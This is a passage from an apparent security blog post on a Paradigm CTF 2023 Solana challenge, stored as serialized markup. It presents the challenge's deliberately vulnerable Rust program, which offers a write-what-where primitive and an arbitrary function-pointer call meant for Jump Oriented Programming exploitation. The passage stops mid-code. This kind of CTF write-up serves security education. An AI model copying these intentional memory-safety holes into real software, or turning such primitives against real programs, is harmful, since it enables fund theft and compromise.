control.",[10,7730],{"src":42393},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":19,"children":42396,"toc":47800},[42397,42411,42431,42436,42440,42453,42478,42484,42489,42504,42858,42873,43138,43154,43797,43803,43808,43821,43829,44041,44049,44351,44359,44502,44510,45033,45039,45051,45064,45078,45083,45850,45855,45863,45868,45874,45886,45951,45956,45969,45982,45988,46016,47167,47180,47222,47227,47232,47246,47386,47407,47428,47435,47486,47494,47505,47518,47523,47647,47660,47762,47766,47779,47784,47796],{"type":22,"tag":31,"props":42398,"children":42399},{},[42400,42402,42409],{"type":28,"value":42401},"In the world of CTFs, ",{"type":22,"tag":42,"props":42403,"children":42406},{"href":42404,"rel":42405},"https://twitter.com/paradigm_ctf",[46],[42407],{"type":28,"value":42408},"Paradigm CTF 2023",{"type":28,"value":42410}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":22,"tag":31,"props":42412,"children":42413},{},[42414,42416,42423,42424],{"type":28,"value":42415},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":22,"tag":42,"props":42417,"children":42420},{"href":42418,"rel":42419},"https://osec.io/blog/2022-03-14-solana-security-intro",[46],[42421],{"type":28,"value":42422},"Solana: An Auditor's Introduction",{"type":28,"value":12991},{"type":22,"tag":42,"props":42425,"children":42428},{"href":42426,"rel":42427},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[46],[42429],{"type":28,"value":42430},"Reverse Engineering Solana with Binary Ninja.\n",{"type":22,"tag":31,"props":42432,"children":42433},{},[42434],{"type":28,"value":42435},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":22,"tag":23,"props":42437,"children":42438},{"id":20923},[42439],{"type":28,"value":20926},{"type":22,"tag":31,"props":42441,"children":42442},{},[42443,42445,42451],{"type":28,"value":42444},"The challenge itself resides into ",{"type":22,"tag":114,"props":42446,"children":42448},{"className":42447},[],[42449],{"type":28,"value":42450},"framework/",{"type":28,"value":42452},", and is composed of 2 parts:",{"type":22,"tag":64,"props":42454,"children":42455},{},[42456,42467],{"type":22,"tag":68,"props":42457,"children":42458},{},[42459,42465],{"type":22,"tag":114,"props":42460,"children":42462},{"className":42461},[],[42463],{"type":28,"value":42464},"framework/chall/lib.rs",{"type":28,"value":42466},": The on-chain eBPF program that needs to be exploited.",{"type":22,"tag":68,"props":42468,"children":42469},{},[42470,42476],{"type":22,"tag":114,"props":42471,"children":42473},{"className":42472},[],[42474],{"type":28,"value":42475},"framework/src/main.rs",{"type":28,"value":42477},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":22,"tag":1289,"props":42479,"children":42481},{"id":42480},"vulnerable-program",[42482],{"type":28,"value":42483},"Vulnerable Program",{"type":22,"tag":31,"props":42485,"children":42486},{},[42487],{"type":28,"value":42488},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":22,"tag":4029,"props":42490,"children":42491},{},[42492],{"type":22,"tag":68,"props":42493,"children":42494},{},[42495,42496,42502],{"type":28,"value":9486},{"type":22,"tag":114,"props":42497,"children":42499},{"className":42498},[],[42500],{"type":28,"value":42501},"data[0] == 0",{"type":28,"value":42503}," a function that lets you write-what-where is executed",{"type":22,"tag":107,"props":42505,"children":42507},{"className":109,"code":42506,"language":111,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr.write_volatile(val);\n    }\n}\n",[42508],{"type":22,"tag":114,"props":42509,"children":42510},{"__ignoreMap":7},[42511,42519,42564,42575,42698,42815,42844,42851],{"type":22,"tag":118,"props":42512,"children":42513},{"class":120,"line":121},[42514],{"type":22,"tag":118,"props":42515,"children":42516},{"style":125},[42517],{"type":28,"value":42518},"#[inline(never)]\n",{"type":22,"tag":118,"props":42520,"children":42521},{"class":120,"line":142},[42522,42526,42530,42535,42539,42543,42547,42551,42555,42559],{"type":22,"tag":118,"props":42523,"children":42524},{"style":146},[42525],{"type":28,"value":149},{"type":22,"tag":118,"props":42527,"children":42528},{"style":146},[42529],{"type":28,"value":529},{"type":22,"tag":118,"props":42531,"children":42532},{"style":532},[42533],{"type":28,"value":42534}," write",{"type":22,"tag":118,"props":42536,"children":42537},{"style":125},[42538],{"type":28,"value":540},{"type":22,"tag":118,"props":42540,"children":42541},{"style":204},[42542],{"type":28,"value":5715},{"type":22,"tag":118,"props":42544,"children":42545},{"style":210},[42546],{"type":28,"value":213},{"type":22,"tag":118,"props":42548,"children":42549},{"style":210},[42550],{"type":28,"value":1430},{"type":22,"tag":118,"props":42552,"children":42553},{"style":125},[42554],{"type":28,"value":5746},{"type":22,"tag":118,"props":42556,"children":42557},{"style":131},[42558],{"type":28,"value":5439},{"type":22,"tag":118,"props":42560,"children":42561},{"style":125},[42562],{"type":28,"value":42563},"]) {\n",{"type":22,"tag":118,"props":42565,"children":42566},{"class":120,"line":177},[42567,42571],{"type":22,"tag":118,"props":42568,"children":42569},{"style":146},[42570],{"type":28,"value":15818},{"type":22,"tag":118,"props":42572,"children":42573},{"style":125},[42574],{"type":28,"value":1474},{"type":22,"tag":118,"props":42576,"children":42577},{"class":120,"line":195},[42578,42582,42586,42590,42595,42599,42604,42608,42613,42617,42622,42626,42630,42634,42638,42642,42646,42650,42654,42658,42662,42666,42670,42674,42678,42682,42686,42690,42694],{"type":22,"tag":118,"props":42579,"children":42580},{"style":146},[42581],{"type":28,"value":827},{"type":22,"tag":118,"props":42583,"children":42584},{"style":204},[42585],{"type":28,"value":15842},{"type":22,"tag":118,"props":42587,"children":42588},{"style":210},[42589],{"type":28,"value":837},{"type":22,"tag":118,"props":42591,"children":42592},{"style":125},[42593],{"type":28,"value":42594}," std",{"type":22,"tag":118,"props":42596,"children":42597},{"style":210},[42598],{"type":28,"value":1190},{"type":22,"tag":118,"props":42600,"children":42601},{"style":125},[42602],{"type":28,"value":42603},"mem",{"type":22,"tag":118,"props":42605,"children":42606},{"style":210},[42607],{"type":28,"value":1190},{"type":22,"tag":118,"props":42609,"children":42610},{"style":532},[42611],{"type":28,"value":42612},"transmute",{"type":22,"tag":118,"props":42614,"children":42615},{"style":210},[42616],{"type":28,"value":1190},{"type":22,"tag":118,"props":42618,"children":42619},{"style":125},[42620],{"type":28,"value":42621},"\u003C[",{"type":22,"tag":118,"props":42623,"children":42624},{"style":131},[42625],{"type":28,"value":5439},{"type":22,"tag":118,"props":42627,"children":42628},{"style":125},[42629],{"type":28,"value":19191},{"type":22,"tag":118,"props":42631,"children":42632},{"style":674},[42633],{"type":28,"value":6090},{"type":22,"tag":118,"props":42635,"children":42636},{"style":125},[42637],{"type":28,"value":25011},{"type":22,"tag":118,"props":42639,"children":42640},{"style":210},[42641],{"type":28,"value":671},{"type":22,"tag":118,"props":42643,"children":42644},{"style":146},[42645],{"type":28,"value":188},{"type":22,"tag":118,"props":42647,"children":42648},{"style":131},[42649],{"type":28,"value":583},{"type":22,"tag":118,"props":42651,"children":42652},{"style":125},[42653],{"type":28,"value":9617},{"type":22,"tag":118,"props":42655,"children":42656},{"style":204},[42657],{"type":28,"value":5715},{"type":22,"tag":118,"props":42659,"children":42660},{"style":125},[42661],{"type":28,"value":5746},{"type":22,"tag":118,"props":42663,"children":42664},{"style":210},[42665],{"type":28,"value":5079},{"type":22,"tag":118,"props":42667,"children":42668},{"style":674},[42669],{"type":28,"value":6090},{"type":22,"tag":118,"props":42671,"children":42672},{"style":125},[42673],{"type":28,"value":17386},{"type":22,"tag":118,"props":42675,"children":42676},{"style":210},[42677],{"type":28,"value":292},{"type":22,"tag":118,"props":42679,"children":42680},{"style":532},[42681],{"type":28,"value":28104},{"type":22,"tag":118,"props":42683,"children":42684},{"style":125},[42685],{"type":28,"value":1200},{"type":22,"tag":118,"props":42687,"children":42688},{"style":210},[42689],{"type":28,"value":292},{"type":22,"tag":118,"props":42691,"children":42692},{"style":532},[42693],{"type":28,"value":5679},{"type":22,"tag":118,"props":42695,"children":42696},{"style":125},[42697],{"type":28,"value":17399},{"type":22,"tag":118,"props":42699,"children":42700},{"class":120,"line":244},[42701,42705,42710,42714,42718,42722,42726,42730,42734,42738,42742,42746,42750,42754,42758,42762,42766,42770,42774,42778,42782,42787,42791,42795,42799,42803,42807,42811],{"type":22,"tag":118,"props":42702,"children":42703},{"style":146},[42704],{"type":28,"value":827},{"type":22,"tag":118,"props":42706,"children":42707},{"style":204},[42708],{"type":28,"value":42709}," val",{"type":22,"tag":118,"props":42711,"children":42712},{"style":210},[42713],{"type":28,"value":837},{"type":22,"tag":118,"props":42715,"children":42716},{"style":125},[42717],{"type":28,"value":42594},{"type":22,"tag":118,"props":42719,"children":42720},{"style":210},[42721],{"type":28,"value":1190},{"type":22,"tag":118,"props":42723,"children":42724},{"style":125},[42725],{"type":28,"value":42603},{"type":22,"tag":118,"props":42727,"children":42728},{"style":210},[42729],{"type":28,"value":1190},{"type":22,"tag":118,"props":42731,"children":42732},{"style":532},[42733],{"type":28,"value":42612},{"type":22,"tag":118,"props":42735,"children":42736},{"style":210},[42737],{"type":28,"value":1190},{"type":22,"tag":118,"props":42739,"children":42740},{"style":125},[42741],{"type":28,"value":42621},{"type":22,"tag":118,"props":42743,"children":42744},{"style":131},[42745],{"type":28,"value":5439},{"type":22,"tag":118,"props":42747,"children":42748},{"style":125},[42749],{"type":28,"value":19191},{"type":22,"tag":118,"props":42751,"children":42752},{"style":674},[42753],{"type":28,"value":6090},{"type":22,"tag":118,"props":42755,"children":42756},{"style":125},[42757],{"type":28,"value":25011},{"type":22,"tag":118,"props":42759,"children":42760},{"style":131},[42761],{"type":28,"value":10046},{"type":22,"tag":118,"props":42763,"children":42764},{"style":125},[42765],{"type":28,"value":9617},{"type":22,"tag":118,"props":42767,"children":42768},{"style":204},[42769],{"type":28,"value":5715},{"type":22,"tag":118,"props":42771,"children":42772},{"style":125},[42773],{"type":28,"value":5746},{"type":22,"tag":118,"props":42775,"children":42776},{"style":674},[42777],{"type":28,"value":6090},{"type":22,"tag":118,"props":42779,"children":42780},{"style":210},[42781],{"type":28,"value":5079},{"type":22,"tag":118,"props":42783,"children":42784},{"style":674},[42785],{"type":28,"value":42786},"16",{"type":22,"tag":118,"props":42788,"children":42789},{"style":125},[42790],{"type":28,"value":17386},{"type":22,"tag":118,"props":42792,"children":42793},{"style":210},[42794],{"type":28,"value":292},{"type":22,"tag":118,"props":42796,"children":42797},{"style":532},[42798],{"type":28,"value":28104},{"type":22,"tag":118,"props":42800,"children":42801},{"style":125},[42802],{"type":28,"value":1200},{"type":22,"tag":118,"props":42804,"children":42805},{"style":210},[42806],{"type":28,"value":292},{"type":22,"tag":118,"props":42808,"children":42809},{"style":532},[42810],{"type":28,"value":5679},{"type":22,"tag":118,"props":42812,"children":42813},{"style":125},[42814],{"type":28,"value":17399},{"type":22,"tag":118,"props":42816,"children":42817},{"class":120,"line":253},[42818,42823,42827,42832,42836,42840],{"type":22,"tag":118,"props":42819,"children":42820},{"style":204},[42821],{"type":28,"value":42822},"        ptr",{"type":22,"tag":118,"props":42824,"children":42825},{"style":210},[42826],{"type":28,"value":292},{"type":22,"tag":118,"props":42828,"children":42829},{"style":532},[42830],{"type":28,"value":42831},"write_volatile",{"type":22,"tag":118,"props":42833,"children":42834},{"style":125},[42835],{"type":28,"value":540},{"type":22,"tag":118,"props":42837,"children":42838},{"style":204},[42839],{"type":28,"value":14628},{"type":22,"tag":118,"props":42841,"children":42842},{"style":125},[42843],{"type":28,"value":682},{"type":22,"tag":118,"props":42845,"children":42846},{"class":120,"line":263},[42847],{"type":22,"tag":118,"props":42848,"children":42849},{"style":125},[42850],{"type":28,"value":1254},{"type":22,"tag":118,"props":42852,"children":42853},{"class":120,"line":318},[42854],{"type":22,"tag":118,"props":42855,"children":42856},{"style":125},[42857],{"type":28,"value":481},{"type":22,"tag":4029,"props":42859,"children":42860},{"start":142},[42861],{"type":22,"tag":68,"props":42862,"children":42863},{},[42864,42865,42871],{"type":28,"value":9486},{"type":22,"tag":114,"props":42866,"children":42868},{"className":42867},[],[42869],{"type":28,"value":42870},"data[0] == 1",{"type":28,"value":42872},", a CPI to a non-existent program is executed:",{"type":22,"tag":107,"props":42874,"children":42876},{"className":109,"code":42875,"language":111,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n    let ix = Instruction {\n        program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n        data: data.try_into().unwrap(),\n        accounts: vec![]\n    };\n\n    invoke_signed_unchecked(\n        &ix,\n        &[],\n        &[],\n    ).unwrap();\n}\n",[42877],{"type":22,"tag":114,"props":42878,"children":42879},{"__ignoreMap":7},[42880,42887,42931,42956,42986,43026,43047,43054,43061,43073,43089,43101,43112,43131],{"type":22,"tag":118,"props":42881,"children":42882},{"class":120,"line":121},[42883],{"type":22,"tag":118,"props":42884,"children":42885},{"style":125},[42886],{"type":28,"value":42518},{"type":22,"tag":118,"props":42888,"children":42889},{"class":120,"line":142},[42890,42894,42898,42903,42907,42911,42915,42919,42923,42927],{"type":22,"tag":118,"props":42891,"children":42892},{"style":146},[42893],{"type":28,"value":149},{"type":22,"tag":118,"props":42895,"children":42896},{"style":146},[42897],{"type":28,"value":529},{"type":22,"tag":118,"props":42899,"children":42900},{"style":532},[42901],{"type":28,"value":42902}," call",{"type":22,"tag":118,"props":42904,"children":42905},{"style":125},[42906],{"type":28,"value":540},{"type":22,"tag":118,"props":42908,"children":42909},{"style":204},[42910],{"type":28,"value":5715},{"type":22,"tag":118,"props":42912,"children":42913},{"style":210},[42914],{"type":28,"value":213},{"type":22,"tag":118,"props":42916,"children":42917},{"style":210},[42918],{"type":28,"value":1430},{"type":22,"tag":118,"props":42920,"children":42921},{"style":125},[42922],{"type":28,"value":5746},{"type":22,"tag":118,"props":42924,"children":42925},{"style":131},[42926],{"type":28,"value":5439},{"type":22,"tag":118,"props":42928,"children":42929},{"style":125},[42930],{"type":28,"value":42563},{"type":22,"tag":118,"props":42932,"children":42933},{"class":120,"line":177},[42934,42938,42943,42947,42952],{"type":22,"tag":118,"props":42935,"children":42936},{"style":146},[42937],{"type":28,"value":4152},{"type":22,"tag":118,"props":42939,"children":42940},{"style":204},[42941],{"type":28,"value":42942}," ix",{"type":22,"tag":118,"props":42944,"children":42945},{"style":210},[42946],{"type":28,"value":837},{"type":22,"tag":118,"props":42948,"children":42949},{"style":131},[42950],{"type":28,"value":42951}," Instruction",{"type":22,"tag":118,"props":42953,"children":42954},{"style":125},[42955],{"type":28,"value":1474},{"type":22,"tag":118,"props":42957,"children":42958},{"class":120,"line":195},[42959,42964,42968,42973,42977,42982],{"type":22,"tag":118,"props":42960,"children":42961},{"style":204},[42962],{"type":28,"value":42963},"        program_id",{"type":22,"tag":118,"props":42965,"children":42966},{"style":210},[42967],{"type":28,"value":213},{"type":22,"tag":118,"props":42969,"children":42970},{"style":532},[42971],{"type":28,"value":42972}," pubkey!",{"type":22,"tag":118,"props":42974,"children":42975},{"style":125},[42976],{"type":28,"value":540},{"type":22,"tag":118,"props":42978,"children":42979},{"style":1866},[42980],{"type":28,"value":42981},"\"osecio5555555555555551111111111111111111111\"",{"type":22,"tag":118,"props":42983,"children":42984},{"style":125},[42985],{"type":28,"value":3853},{"type":22,"tag":118,"props":42987,"children":42988},{"class":120,"line":244},[42989,42994,42998,43002,43006,43010,43014,43018,43022],{"type":22,"tag":118,"props":42990,"children":42991},{"style":204},[42992],{"type":28,"value":42993},"        data",{"type":22,"tag":118,"props":42995,"children":42996},{"style":210},[42997],{"type":28,"value":213},{"type":22,"tag":118,"props":42999,"children":43000},{"style":204},[43001],{"type":28,"value":17081},{"type":22,"tag":118,"props":43003,"children":43004},{"style":210},[43005],{"type":28,"value":292},{"type":22,"tag":118,"props":43007,"children":43008},{"style":532},[43009],{"type":28,"value":28104},{"type":22,"tag":118,"props":43011,"children":43012},{"style":125},[43013],{"type":28,"value":1200},{"type":22,"tag":118,"props":43015,"children":43016},{"style":210},[43017],{"type":28,"value":292},{"type":22,"tag":118,"props":43019,"children":43020},{"style":532},[43021],{"type":28,"value":5679},{"type":22,"tag":118,"props":43023,"children":43024},{"style":125},[43025],{"type":28,"value":768},{"type":22,"tag":118,"props":43027,"children":43028},{"class":120,"line":253},[43029,43034,43038,43042],{"type":22,"tag":118,"props":43030,"children":43031},{"style":204},[43032],{"type":28,"value":43033},"        accounts",{"type":22,"tag":118,"props":43035,"children":43036},{"style":210},[43037],{"type":28,"value":213},{"type":22,"tag":118,"props":43039,"children":43040},{"style":532},[43041],{"type":28,"value":5741},{"type":22,"tag":118,"props":43043,"children":43044},{"style":125},[43045],{"type":28,"value":43046},"[]\n",{"type":22,"tag":118,"props":43048,"children":43049},{"class":120,"line":263},[43050],{"type":22,"tag":118,"props":43051,"children":43052},{"style":125},[43053],{"type":28,"value":40938},{"type":22,"tag":118,"props":43055,"children":43056},{"class":120,"line":318},[43057],{"type":22,"tag":118,"props":43058,"children":43059},{"emptyLinePlaceholder":15},[43060],{"type":28,"value":250},{"type":22,"tag":118,"props":43062,"children":43063},{"class":120,"line":351},[43064,43069],{"type":22,"tag":118,"props":43065,"children":43066},{"style":532},[43067],{"type":28,"value":43068},"    invoke_signed_unchecked",{"type":22,"tag":118,"props":43070,"children":43071},{"style":125},[43072],{"type":28,"value":696},{"type":22,"tag":118,"props":43074,"children":43075},{"class":120,"line":359},[43076,43080,43085],{"type":22,"tag":118,"props":43077,"children":43078},{"style":210},[43079],{"type":28,"value":5488},{"type":22,"tag":118,"props":43081,"children":43082},{"style":204},[43083],{"type":28,"value":43084},"ix",{"type":22,"tag":118,"props":43086,"children":43087},{"style":125},[43088],{"type":28,"value":782},{"type":22,"tag":118,"props":43090,"children":43091},{"class":120,"line":368},[43092,43096],{"type":22,"tag":118,"props":43093,"children":43094},{"style":210},[43095],{"type":28,"value":5488},{"type":22,"tag":118,"props":43097,"children":43098},{"style":125},[43099],{"type":28,"value":43100},"[],\n",{"type":22,"tag":118,"props":43102,"children":43103},{"class":120,"line":384},[43104,43108],{"type":22,"tag":118,"props":43105,"children":43106},{"style":210},[43107],{"type":28,"value":5488},{"type":22,"tag":118,"props":43109,"children":43110},{"style":125},[43111],{"type":28,"value":43100},{"type":22,"tag":118,"props":43113,"children":43114},{"class":120,"line":417},[43115,43119,43123,43127],{"type":22,"tag":118,"props":43116,"children":43117},{"style":125},[43118],{"type":28,"value":5670},{"type":22,"tag":118,"props":43120,"children":43121},{"style":210},[43122],{"type":28,"value":292},{"type":22,"tag":118,"props":43124,"children":43125},{"style":532},[43126],{"type":28,"value":5679},{"type":22,"tag":118,"props":43128,"children":43129},{"style":125},[43130],{"type":28,"value":1098},{"type":22,"tag":118,"props":43132,"children":43133},{"class":120,"line":425},[43134],{"type":22,"tag":118,"props":43135,"children":43136},{"style":125},[43137],{"type":28,"value":481},{"type":22,"tag":4029,"props":43139,"children":43140},{"start":177},[43141],{"type":22,"tag":68,"props":43142,"children":43143},{},[43144,43146,43152],{"type":28,"value":43145},"Finally, if ",{"type":22,"tag":114,"props":43147,"children":43149},{"className":43148},[],[43150],{"type":28,"value":43151},"data[0]",{"type":28,"value":43153}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":22,"tag":107,"props":43155,"children":43157},{"className":109,"code":43156,"language":111,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n\n        data = &data[16..];\n\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n    }\n}\n",[43158],{"type":22,"tag":114,"props":43159,"children":43160},{"__ignoreMap":7},[43161,43168,43216,43227,43347,43462,43481,43488,43523,43530,43649,43764,43783,43790],{"type":22,"tag":118,"props":43162,"children":43163},{"class":120,"line":121},[43164],{"type":22,"tag":118,"props":43165,"children":43166},{"style":125},[43167],{"type":28,"value":42518},{"type":22,"tag":118,"props":43169,"children":43170},{"class":120,"line":142},[43171,43175,43179,43184,43188,43192,43196,43200,43204,43208,43212],{"type":22,"tag":118,"props":43172,"children":43173},{"style":146},[43174],{"type":28,"value":149},{"type":22,"tag":118,"props":43176,"children":43177},{"style":146},[43178],{"type":28,"value":529},{"type":22,"tag":118,"props":43180,"children":43181},{"style":532},[43182],{"type":28,"value":43183}," process",{"type":22,"tag":118,"props":43185,"children":43186},{"style":125},[43187],{"type":28,"value":540},{"type":22,"tag":118,"props":43189,"children":43190},{"style":146},[43191],{"type":28,"value":188},{"type":22,"tag":118,"props":43193,"children":43194},{"style":204},[43195],{"type":28,"value":17081},{"type":22,"tag":118,"props":43197,"children":43198},{"style":210},[43199],{"type":28,"value":213},{"type":22,"tag":118,"props":43201,"children":43202},{"style":210},[43203],{"type":28,"value":1430},{"type":22,"tag":118,"props":43205,"children":43206},{"style":125},[43207],{"type":28,"value":5746},{"type":22,"tag":118,"props":43209,"children":43210},{"style":131},[43211],{"type":28,"value":5439},{"type":22,"tag":118,"props":43213,"children":43214},{"style":125},[43215],{"type":28,"value":42563},{"type":22,"tag":118,"props":43217,"children":43218},{"class":120,"line":177},[43219,43223],{"type":22,"tag":118,"props":43220,"children":43221},{"style":146},[43222],{"type":28,"value":15818},{"type":22,"tag":118,"props":43224,"children":43225},{"style":125},[43226],{"type":28,"value":1474},{"type":22,"tag":118,"props":43228,"children":43229},{"class":120,"line":195},[43230,43234,43238,43242,43246,43250,43254,43258,43262,43266,43270,43274,43278,43282,43286,43290,43294,43298,43303,43307,43311,43315,43319,43323,43327,43331,43335,43339,43343],{"type":22,"tag":118,"props":43231,"children":43232},{"style":146},[43233],{"type":28,"value":827},{"type":22,"tag":118,"props":43235,"children":43236},{"style":204},[43237],{"type":28,"value":15842},{"type":22,"tag":118,"props":43239,"children":43240},{"style":210},[43241],{"type":28,"value":837},{"type":22,"tag":118,"props":43243,"children":43244},{"style":125},[43245],{"type":28,"value":42594},{"type":22,"tag":118,"props":43247,"children":43248},{"style":210},[43249],{"type":28,"value":1190},{"type":22,"tag":118,"props":43251,"children":43252},{"style":125},[43253],{"type":28,"value":42603},{"type":22,"tag":118,"props":43255,"children":43256},{"style":210},[43257],{"type":28,"value":1190},{"type":22,"tag":118,"props":43259,"children":43260},{"style":532},[43261],{"type":28,"value":42612},{"type":22,"tag":118,"props":43263,"children":43264},{"style":210},[43265],{"type":28,"value":1190},{"type":22,"tag":118,"props":43267,"children":43268},{"style":125},[43269],{"type":28,"value":42621},{"type":22,"tag":118,"props":43271,"children":43272},{"style":131},[43273],{"type":28,"value":5439},{"type":22,"tag":118,"props":43275,"children":43276},{"style":125},[43277],{"type":28,"value":19191},{"type":22,"tag":118,"props":43279,"children":43280},{"style":674},[43281],{"type":28,"value":6090},{"type":22,"tag":118,"props":43283,"children":43284},{"style":125},[43285],{"type":28,"value":25011},{"type":22,"tag":118,"props":43287,"children":43288},{"style":146},[43289],{"type":28,"value":2603},{"type":22,"tag":118,"props":43291,"children":43292},{"style":125},[43293],{"type":28,"value":540},{"type":22,"tag":118,"props":43295,"children":43296},{"style":131},[43297],{"type":28,"value":10046},{"type":22,"tag":118,"props":43299,"children":43300},{"style":125},[43301],{"type":28,"value":43302},")>(",{"type":22,"tag":118,"props":43304,"children":43305},{"style":204},[43306],{"type":28,"value":5715},{"type":22,"tag":118,"props":43308,"children":43309},{"style":125},[43310],{"type":28,"value":5746},{"type":22,"tag":118,"props":43312,"children":43313},{"style":210},[43314],{"type":28,"value":5079},{"type":22,"tag":118,"props":43316,"children":43317},{"style":674},[43318],{"type":28,"value":6090},{"type":22,"tag":118,"props":43320,"children":43321},{"style":125},[43322],{"type":28,"value":17386},{"type":22,"tag":118,"props":43324,"children":43325},{"style":210},[43326],{"type":28,"value":292},{"type":22,"tag":118,"props":43328,"children":43329},{"style":532},[43330],{"type":28,"value":28104},{"type":22,"tag":118,"props":43332,"children":43333},{"style":125},[43334],{"type":28,"value":1200},{"type":22,"tag":118,"props":43336,"children":43337},{"style":210},[43338],{"type":28,"value":292},{"type":22,"tag":118,"props":43340,"children":43341},{"style":532},[43342],{"type":28,"value":5679},{"type":22,"tag":118,"props":43344,"children":43345},{"style":125},[43346],{"type":28,"value":17399},{"type":22,"tag":118,"props":43348,"children":43349},{"class":120,"line":244},[43350,43354,43358,43362,43366,43370,43374,43378,43382,43386,43390,43394,43398,43402,43406,43410,43414,43418,43422,43426,43430,43434,43438,43442,43446,43450,43454,43458],{"type":22,"tag":118,"props":43351,"children":43352},{"style":146},[43353],{"type":28,"value":827},{"type":22,"tag":118,"props":43355,"children":43356},{"style":204},[43357],{"type":28,"value":42709},{"type":22,"tag":118,"props":43359,"children":43360},{"style":210},[43361],{"type":28,"value":837},{"type":22,"tag":118,"props":43363,"children":43364},{"style":125},[43365],{"type":28,"value":42594},{"type":22,"tag":118,"props":43367,"children":43368},{"style":210},[43369],{"type":28,"value":1190},{"type":22,"tag":118,"props":43371,"children":43372},{"style":125},[43373],{"type":28,"value":42603},{"type":22,"tag":118,"props":43375,"children":43376},{"style":210},[43377],{"type":28,"value":1190},{"type":22,"tag":118,"props":43379,"children":43380},{"style":532},[43381],{"type":28,"value":42612},{"type":22,"tag":118,"props":43383,"children":43384},{"style":210},[43385],{"type":28,"value":1190},{"type":22,"tag":118,"props":43387,"children":43388},{"style":125},[43389],{"type":28,"value":42621},{"type":22,"tag":118,"props":43391,"children":43392},{"style":131},[43393],{"type":28,"value":5439},{"type":22,"tag":118,"props":43395,"children":43396},{"style":125},[43397],{"type":28,"value":19191},{"type":22,"tag":118,"props":43399,"children":43400},{"style":674},[43401],{"type":28,"value":6090},{"type":22,"tag":118,"props":43403,"children":43404},{"style":125},[43405],{"type":28,"value":25011},{"type":22,"tag":118,"props":43407,"children":43408},{"style":131},[43409],{"type":28,"value":10046},{"type":22,"tag":118,"props":43411,"children":43412},{"style":125},[43413],{"type":28,"value":9617},{"type":22,"tag":118,"props":43415,"children":43416},{"style":204},[43417],{"type":28,"value":5715},{"type":22,"tag":118,"props":43419,"children":43420},{"style":125},[43421],{"type":28,"value":5746},{"type":22,"tag":118,"props":43423,"children":43424},{"style":674},[43425],{"type":28,"value":6090},{"type":22,"tag":118,"props":43427,"children":43428},{"style":210},[43429],{"type":28,"value":5079},{"type":22,"tag":118,"props":43431,"children":43432},{"style":674},[43433],{"type":28,"value":42786},{"type":22,"tag":118,"props":43435,"children":43436},{"style":125},[43437],{"type":28,"value":17386},{"type":22,"tag":118,"props":43439,"children":43440},{"style":210},[43441],{"type":28,"value":292},{"type":22,"tag":118,"props":43443,"children":43444},{"style":532},[43445],{"type":28,"value":28104},{"type":22,"tag":118,"props":43447,"children":43448},{"style":125},[43449],{"type":28,"value":1200},{"type":22,"tag":118,"props":43451,"children":43452},{"style":210},[43453],{"type":28,"value":292},{"type":22,"tag":118,"props":43455,"children":43456},{"style":532},[43457],{"type":28,"value":5679},{"type":22,"tag":118,"props":43459,"children":43460},{"style":125},[43461],{"type":28,"value":17399},{"type":22,"tag":118,"props":43463,"children":43464},{"class":120,"line":253},[43465,43469,43473,43477],{"type":22,"tag":118,"props":43466,"children":43467},{"style":532},[43468],{"type":28,"value":42822},{"type":22,"tag":118,"props":43470,"children":43471},{"style":125},[43472],{"type":28,"value":540},{"type":22,"tag":118,"props":43474,"children":43475},{"style":204},[43476],{"type":28,"value":14628},{"type":22,"tag":118,"props":43478,"children":43479},{"style":125},[43480],{"type":28,"value":682},{"type":22,"tag":118,"props":43482,"children":43483},{"class":120,"line":263},[43484],{"type":22,"tag":118,"props":43485,"children":43486},{"emptyLinePlaceholder":15},[43487],{"type":28,"value":250},{"type":22,"tag":118,"props":43489,"children":43490},{"class":120,"line":318},[43491,43495,43499,43503,43507,43511,43515,43519],{"type":22,"tag":118,"props":43492,"children":43493},{"style":204},[43494],{"type":28,"value":42993},{"type":22,"tag":118,"props":43496,"children":43497},{"style":210},[43498],{"type":28,"value":837},{"type":22,"tag":118,"props":43500,"children":43501},{"style":210},[43502],{"type":28,"value":1430},{"type":22,"tag":118,"props":43504,"children":43505},{"style":204},[43506],{"type":28,"value":5715},{"type":22,"tag":118,"props":43508,"children":43509},{"style":125},[43510],{"type":28,"value":5746},{"type":22,"tag":118,"props":43512,"children":43513},{"style":674},[43514],{"type":28,"value":42786},{"type":22,"tag":118,"props":43516,"children":43517},{"style":210},[43518],{"type":28,"value":5079},{"type":22,"tag":118,"props":43520,"children":43521},{"style":125},[43522],{"type":28,"value":33513},{"type":22,"tag":118,"props":43524,"children":43525},{"class":120,"line":351},[43526],{"type":22,"tag":118,"props":43527,"children":43528},{"emptyLinePlaceholder":15},[43529],{"type":28,"value":250},{"type":22,"tag":118,"props":43531,"children":43532},{"class":120,"line":359},[43533,43537,43541,43545,43549,43553,43557,43561,43565,43569,43573,43577,43581,43585,43589,43593,43597,43601,43605,43609,43613,43617,43621,43625,43629,43633,43637,43641,43645],{"type":22,"tag":118,"props":43534,"children":43535},{"style":146},[43536],{"type":28,"value":827},{"type":22,"tag":118,"props":43